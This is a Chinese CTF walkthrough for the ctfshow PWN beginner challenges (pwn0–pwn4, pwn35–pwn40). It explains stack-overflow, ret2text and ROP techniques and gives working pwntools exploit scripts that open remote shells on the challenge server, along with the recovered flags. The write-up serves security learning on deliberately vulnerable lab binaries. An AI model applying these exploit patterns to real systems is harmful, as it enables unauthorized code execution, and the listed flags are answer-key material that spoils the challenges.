Test_your_nc
pwn0
本题是PWN入门 系列题目的第0个题目,让大家提前感受下pwn的学习气氛
在根目录下得到flag
pwn1
提供一个后门函数,连上即可得到flag
nc连接得到flag
pwn2
给你一个shell,这次需要你自己去获得flag
输入cat /ctfshow_flag获取flag
pwn3
哪一个函数才能读取flag?
考察函数的应用
You can call the following function:
1._start
2.main
3.hello_ctfshow
4.ctfshow('echo /ctfshow_flag')
5.print('/ctfshow_flag')
6.system('cat /ctfshow_flag')
7.puts('/ctfshow_flag')
8.exit
Your choice is :
选择system函数的6得到flag
pwn4
或许需要先得到某个神秘字符
分析代码,将输入的s2与s1进行比对,如果一样则获得权限
strcpy(s1, "CTFshowPWN");
logo();
puts("find the secret !");
__isoc99_scanf("%s", s2);
if ( !strcmp(s1, s2) )
execve_func();
静态分析得到s1的值,输入获得权限
栈溢出
pwn35
正式开始栈溢出了,先来一个最最最最简单的吧
检查保护情况,只开了代码执行保护
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
查看主函数,首先这是一段对参数的检测(至少一个参数)。对argc解释一下,argc是我们启动函数时输入的参数的数量加1,因为程序默认有argc=1,且第一个参数为程序的名称即argv[0],此后我们输入的参数就为argv[1]。
if ( argc <= 1 )
{
puts("Try again!");
}
当参数满足条件时,则会调用ctfshow这个函数,这个函数中strcpy将src的值赋给dest,但是未检测src的长度,造成此处的栈溢出漏洞
char *__cdecl ctfshow(char *src)
{
char dest[104]; // [esp+Ch] [ebp-6Ch] BYREF
return strcpy(dest, src);
}
在主函数中我们可以看到以下内容,stream内的内容存储在flag指针中
fgets(flag, 64, stream);
通过定位flag,我们可以发现sigsegv_handler( )函数中的内容,我们需要利用栈溢出将返回地址修改到此函数中,使得其能输出flag
void __noreturn sigsegv_handler()
{
fprintf(stderr, "%s\n", flag);
fflush(stderr);
exit(1);
}
但是与一般的题型有些不同的是,这一题是用ssh连接。所以我们写一个exp来生成payload
from pwn import*
bin_sh_add=0x80485E6
payload=b'a'*(104+8)+p32(bin_sh_add)
print(payload)
# aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08
得到flag
pwn36
存在后门函数,如何利用?
检查保护情况,一个都没开
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
查看主函数,发现后门函数get_flag。主函数调用了ctfshow( ) 函数,发现危险函数get( ),可进行栈溢出
char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF
return gets(s);
}
思路为通过get( )进行栈溢出将返回地址更改为后门函数地址,开始编写exp
from pwn import*
io=remote("pwn.challenge.ctf.show",28266)
bin_sh_add=0x8048586
payload=b'a'*(36+8)+p64(bin_sh_add)
io.sendlineafter(b'Enter what you want:',payload)
io.interactive()
# ctfshow{793cda4e-b6e8-4ceb-a441-95bc1b2dfc32}
pwn37
32位的 system(“/bin/sh”) 后门函数给你
检查保护情况,只开了代码执行保护
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
查看主函数,发现后门函数backdoor( ) 。查看主函数,先打印logo后调用ctfshow( )
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
puts("Just very easy ret2text&&32bit");
ctfshow();
puts("\nExit");
return 0;
}
ctfshow( )函数中返回时调用read函数从标准输入读取数据存放至buf缓冲区,但是读取长度大小超过了buf缓冲区的大小,造成了栈溢出。
ssize_t ctfshow()
{
char buf[14]; // [esp+6h] [ebp-12h] BYREF
return read(0, buf, 0x32u);
}
解题思路为通过栈溢出漏洞将返回地址更改为后门函数地址,编写exp(注意这里是32位程序)
from pwn import*
io=remote("pwn.challenge.ctf.show",28311)
bin_sh_add=0x8048521
payload=b'a'*(14+8)+p32(bin_sh_add)
io.sendlineafter(b"ret2text&&32bit",payload)
io.interactive()
# ctfshow{fa2e0559-383e-4a90-bd2c-0e7beff31a4e}
pwn38
64位的 system(“/bin/sh”) 后门函数给你
检查保护情况,发现只开了代码执行保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
查看主函数,发现后门函数backdoor( ) 。主函数中调用了ctfshow( )函数,和pwn37同理,read函数过量读导致栈溢出。
ssize_t ctfshow()
{
char buf[10]; // [rsp+6h] [rbp-Ah] BYREF
return read(0, buf, 0x32uLL);
}
解题思路为通过栈溢出漏洞将返回地址更改为后门函数地址,编写exp(注意这里是64位程序)。
from pwn import*
io=remote("pwn.challenge.ctf.show",28289)
bin_sh_add=0x400658
payload=b'a'*(10+8)+p64(bin_sh_add)
io.sendlineafter(b"ret2text&&64bit",payload)
io.interactive()
# ctfshow{ed4ab5e2-96b3-47b4-99d8-bfe8b021e2f5}
这里需要注意的是为了进行栈对齐, bin_sh_add 的地址我们选择的是 0x400658 (push指令后的第一个地址),而不是后门函数的地址 0x400657 。
pwn39
32位的 system(); "/bin/sh"
检查保护,只开了代码执行保护
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
查看主函数,发现调用ctfshow( )函数,函数中read过量读存在栈溢出漏洞
ssize_t ctfshow()
{
char buf[14]; // [esp+6h] [ebp-12h] BYREF
return read(0, buf, 0x32u);
}
观察其他部分发现hint( )函数中存在system函数以及“/bin/sh”的字符串
int hint()
{
puts("/bin/sh");
return system("echo 'You find me?'");
}
解题思路为利用这两处来构造出system(“/bin/sh”)来获取shell
获得溢出长度
在GDB中用 cyclic 200
获得200个冗余字符
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
在使用r启动程序,将冗余字符填入程序,程序报错会返回一个地址
Invalid address 0x61676161
再使用 cyclic -l
命令即可获得溢出长度。
pwndbg> cyclic -l 0x61676161
Finding cyclic pattern of 4 bytes: b'aaga' (hex: 0x61616761)
Found at offset 22
也可以结合栈空间大小进行计算
寻找system@plt的地址
使用objdump命令来获取plt表中各个函数的地址,进而轻松拿到system函数的地址。
helloctfos@Hello-CTF:/mnt/c/Users/HelloCTF_OS/Desktop/pwn39$ objdump -d -j .plt pwn
pwn: file format elf32-i386
Disassembly of section .plt:
08048370 <.plt>:
8048370: ff 35 04 a0 04 08 push 0x804a004
8048376: ff 25 08 a0 04 08 jmp *0x804a008
804837c: 00 00 add %al,(%eax)
...
08048380 <read@plt>:
8048380: ff 25 0c a0 04 08 jmp *0x804a00c
8048386: 68 00 00 00 00 push $0x0
804838b: e9 e0 ff ff ff jmp 8048370 <.plt>
08048390 <puts@plt>:
8048390: ff 25 10 a0 04 08 jmp *0x804a010
8048396: 68 08 00 00 00 push $0x8
804839b: e9 d0 ff ff ff jmp 8048370 <.plt>
080483a0 <system@plt>:
80483a0: ff 25 14 a0 04 08 jmp *0x804a014
80483a6: 68 10 00 00 00 push $0x10
80483ab: e9 c0 ff ff ff jmp 8048370 <.plt>
080483b0 <__libc_start_main@plt>:
80483b0: ff 25 18 a0 04 08 jmp *0x804a018
80483b6: 68 18 00 00 00 push $0x18
80483bb: e9 b0 ff ff ff jmp 8048370 <.plt>
080483c0 <setvbuf@plt>:
80483c0: ff 25 1c a0 04 08 jmp *0x804a01c
80483c6: 68 20 00 00 00 push $0x20
80483cb: e9 a0 ff ff ff jmp 8048370 <.plt>
也可以直接在IDA中查看
编写exp
from pwn import*
context.log_level = "debug"
io=remote("pwn.challenge.ctf.show",28203)
bin_sh_add=0x8048750
system_plt=0x80483A0
call_system=0x804854F
# payload=b'a'*(14+8)+p32(system_plt)+p32(0)+p32(bin_sh_add)
payload=b'a'*(14+8)+p32(call_system)+p32(bin_sh_add)
io.sendlineafter(b"ret2text&&32bit",payload)
io.interactive()
# ctfshow{9d0d7f71-d700-4ea6-ba26-7255bc726832}
这里有两种思路
第一种是返回到 system@plt
。system@plt
指令执行后会被当前 eip 寄存器的值压栈,所以在payload中我们用 p32(0) 作为 eip 寄存器的值进入栈中。p32(0) 代表是system函数的返回地址,由于不需要返回到某个地方,所以直接使用p32(0)来顶替4个字节。32位传参是栈传参,参数与函数栈帧隔了一个返回地址,且参数在栈帧之下。
第二种是调用 call system
指令,我们不需要 p32(0) 作为 eip 寄存器的值进入栈中(call system 指令会自动实现将当前 eip 寄存器的值压栈),所以该指令后面可以直接跟参数。
pwn40
检查保护情况,只开了代码执行保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
查看主函数,大致情况与pwn39一样,不同点在于此题为64位程序。
32位是栈传参,而64位是寄存器传参+栈传参,传的前几个参数一般使用寄存器,把参数传到寄存器中即可,若参数过多寄存器有限,64位汇编会继续使用栈传参。
具体64位传参方式如下:
当参数少于7个时, 参数 ==从左到右== 放⼊寄存器:
==rdi --> rsi --> rdx --> rcx --> r8 --> r9==
当参数为7个及以上时, 前 6 个与前⾯⼀样, 但后⾯的依次 ==从右向左== 放⼊栈中,和32位汇编⼀样。
获取寄存器地址
由于需要传参所以我们还需要将参数pop到rdi中,使用ret再继续取栈中我们填入的恶意地址继续控制程序的执行流。(ret的作用为:pop eip/rip;)
使用ROPgadget可以查询到 pop rdi;ret
的地址
ROPgadget --binary pwn --only "pop|ret"
Gadgets information
============================================================
0x00000000004007dc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007de : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007e0 : pop r14 ; pop r15 ; ret
0x00000000004007e2 : pop r15 ; ret
0x00000000004007db : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007df : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005b8 : pop rbp ; ret
0x00000000004007e3 : pop rdi ; ret
0x00000000004007e1 : pop rsi ; pop r15 ; ret
0x00000000004007dd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004fe : ret
0x000000000040069a : ret 0x2019
Unique gadgets found: 12
这里我们还需要记录ret的地址,因为在栈对齐的过程中需要用到。ret是为了64位的堆栈平衡,具体堆栈平衡的知识可以看一下两篇文章:
关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26
关于pwn64位amd构造payload时的堆栈平衡问题以及32位与64位构造payload的区别与注意事项
64位ubuntu18以上系统调用system函数时是需要栈对齐,为使rsp对齐16字节,核心思想就是增加或减少栈内容,使rsp地址能相应的增加或减少8字节,这样就能够对齐16字节了。
这时候有两种解决方法。
1、将system函数地址+1,此处的+1,即是把地址+1,也可以理解为+1是为了跳过一条栈操作指令。我们的目的是跳过一条栈操作指令,使rsp十六字节对齐,跳过这一条指令,自然就是把8变成0了。但又一个问题就是,本来+1是为了跳过一条栈操作指令,但是你也不知道下一条指令是不是栈操作指令,如果不是栈操作指令的话(可能正好是mov指令,也有可能一个指令是好几个字节,+1之后没有到下一个指令),就还需要继续+1,一直加到遇见一条栈操作指令为止。
2、调用system函数地址之前去调用一个ret指令。因为本来现在是没有对齐的,但是执行一条对栈操作指令(ret指令等同于pop rip,该指令使得rsp+8,从而完成rsp16字节对齐),这样system地址所在的栈地址就是0结尾,从而完成了栈对齐。
其他查询步骤大致与pwn39相同,开始编写exp
from pwn import*
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28196)
pop_rdi_ret=0x4007e3
ret_add=0x4004fe
system_plt=0x400520
bin_sh_add=0x400808
payload=b'a'*(10+8)+p64(pop_rdi_ret)+p64(bin_sh_add)+p64(ret_add)+p64(system_plt)
io.sendlineafter(b"ret2text&&64bit",payload)
io.interactive()
# ctfshow{491ac978-70d2-4ae2-b459-828942682834}